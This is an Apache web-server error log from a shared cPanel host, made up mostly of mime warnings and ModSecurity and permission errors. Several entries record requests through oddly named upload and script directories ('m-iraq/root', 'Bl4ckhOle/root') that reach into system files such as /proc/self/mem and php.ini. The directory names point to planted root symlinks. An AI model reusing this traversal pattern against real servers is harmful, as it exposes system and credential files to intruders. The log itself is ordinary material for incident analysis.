[Fri Jul 17 09:18:34.044682 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044730 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044774 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044859 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044879 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044908 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044939 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045029 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045174 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045202 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045224 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045241 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045258 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045275 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045292 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045396 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045439 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045458 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045475 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045509 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045542 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.045586 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.329403 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.368073 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.477032 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.897656 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.998974 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:35.428115 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:35.539504 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:35.741122 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/measles-rubella-crs"] [unique_id "almmE4l9vhFBGA6D8l9-PwAAAAw"]
[Fri Jul 17 09:18:35.741460 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/measles-rubella-crs"] [unique_id "almmE4l9vhFBGA6D8l9-PwAAAAw"]
[Fri Jul 17 09:18:35.741813 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/measles-rubella-crs"] [unique_id "almmE4l9vhFBGA6D8l9-PwAAAAw"]
[Fri Jul 17 09:18:35.745562 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:35.859223 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/graphviz/COPYING"] [unique_id "almmE614q1EBnanVMYGoEgAAAAk"]
[Fri Jul 17 09:18:35.859274 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/graphviz/COPYING"] [unique_id "almmE614q1EBnanVMYGoEgAAAAk"]
[Fri Jul 17 09:18:35.940307 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:45380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:35.955174 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.089401 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.096829 2026] [authz_core:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php51/etc/php.ini
[Fri Jul 17 09:18:36.177707 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.177775 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.177814 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.177875 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.177894 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.177953 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.715974 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.815789 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:36.917131 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:37.039759 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmFUkXT4NBqALj2laA6AAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:18:37.039798 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmFUkXT4NBqALj2laA6AAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:18:37.125910 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:45450] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:37.136018 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:37.244483 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:37.355694 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:37.360232 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:45462] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:37.461471 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:37.555857 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:37.655687 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:37.871212 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:37.976145 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/gettext/THANKS"] [unique_id "almmFQ7FYe46zHK_jL3UCAAAABk"]
[Fri Jul 17 09:18:37.976183 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/gettext/THANKS"] [unique_id "almmFQ7FYe46zHK_jL3UCAAAABk"]
[Fri Jul 17 09:18:38.370822 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:38.456622 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:38.664074 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:38.814804 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:39.006642 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:21/eject
[Fri Jul 17 09:18:39.107593 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:39.405550 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:39.418216 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:39.625351 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:0c/eject
[Fri Jul 17 09:18:40.355271 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:40.465232 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:40.574880 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/device/subsystem/devices/device:02/eject
[Fri Jul 17 09:18:40.688439 2026] [security2:error] [pid 2030804:tid 2030804] [client 61.5.147.187:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/maximsholdings-global": Permission denied [hostname "maximsholdings.com"] [uri "/xmlrpc.php"] [unique_id "almmGIe39YUk0SgV8AU-WwAAABE"]
[Fri Jul 17 09:18:40.688468 2026] [security2:error] [pid 2030804:tid 2030804] [client 61.5.147.187:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/maximsholdings-ip": Permission denied [hostname "maximsholdings.com"] [uri "/xmlrpc.php"] [unique_id "almmGIe39YUk0SgV8AU-WwAAABE"]
[Fri Jul 17 09:18:41.215869 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:41.317010 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:03/eject
[Fri Jul 17 09:18:41.427474 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/LNXCPU:02/eject
[Fri Jul 17 09:18:41.631486 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:02/eject
[Fri Jul 17 09:18:41.732941 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:41.803434 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.27:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory106/subsystem/devices/memory103/subsystem/devices/memory22/node0/memory128/node0/memory93/"] [unique_id "almmGZBVIrrUwtEhdafVAQAAAAU"]
[Fri Jul 17 09:18:41.803465 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.27:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory106/subsystem/devices/memory103/subsystem/devices/memory22/node0/memory128/node0/memory93/"] [unique_id "almmGZBVIrrUwtEhdafVAQAAAAU"]
[Fri Jul 17 09:18:41.836128 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.046455 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.140282 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.166950 2026] [core:crit] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php54/var/cache/php-eaccelerator/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php54/var/cache/php-eaccelerator/' is executable
[Fri Jul 17 09:18:42.343537 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.374423 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.468559 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.548518 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.653325 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.858167 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:42.907893 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:38676] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:44.041428 2026] [security2:error] [pid 2018768:tid 2018768] [client 81.167.26.57:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almmG1CBpfuYyhJ140vW0QAAAB4"]
[Fri Jul 17 09:18:44.041460 2026] [security2:error] [pid 2018768:tid 2018768] [client 81.167.26.57:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almmG1CBpfuYyhJ140vW0QAAAB4"]
[Fri Jul 17 09:18:44.180023 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:38734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:44.786448 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:44.799642 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:44.806076 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:44.814272 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:44.875794 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:44.879939 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:45.016275 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:45.424217 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:45.758266 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:45.846814 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:45.936802 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:46.000844 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:38816] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:46.242240 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:46.342069 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:46.442704 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:46.714657 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:38832] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:47.252828 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:47.352840 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/mem
[Fri Jul 17 09:18:47.456515 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:47.555289 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:47.563385 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:38882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:47.657832 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:47.757867 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:47.857859 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:1b/eject
[Fri Jul 17 09:18:47.959309 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:48.174291 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:48.267019 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:48.367423 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:48.468249 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:48.669228 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:48.821787 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:38924] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:48.869418 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:49.080243 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:49.438054 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 57.141.18.116:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory122/node0/memory74/node0/memory51/node0/cpu2/driver/bind
[Fri Jul 17 09:18:49.576338 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:49.980639 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/cirrus/drivers/pci:cirrus/remove_id
[Fri Jul 17 09:18:50.086909 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:50.282388 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:50.694468 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:50.702346 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:38986] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:50.787996 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:51.098196 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/module/nf_tables_set/uevent
[Fri Jul 17 09:18:51.346619 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:51.402588 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:51.804855 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:60112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:51.906353 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:52.007805 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:52.209460 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:52.310985 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:52.818854 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/dev/char/4:66/close_delay
[Fri Jul 17 09:18:53.424543 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:53.829517 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:54.130882 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:54.130955 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:54.131193 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:54.535878 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:54.838478 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:55.424094 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:55.729498 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:56.232347 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/4-1/instance
[Fri Jul 17 09:18:56.335843 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:56.350277 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:57.049644 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:57.881809 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/ec/unbind
[Fri Jul 17 09:18:58.088624 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
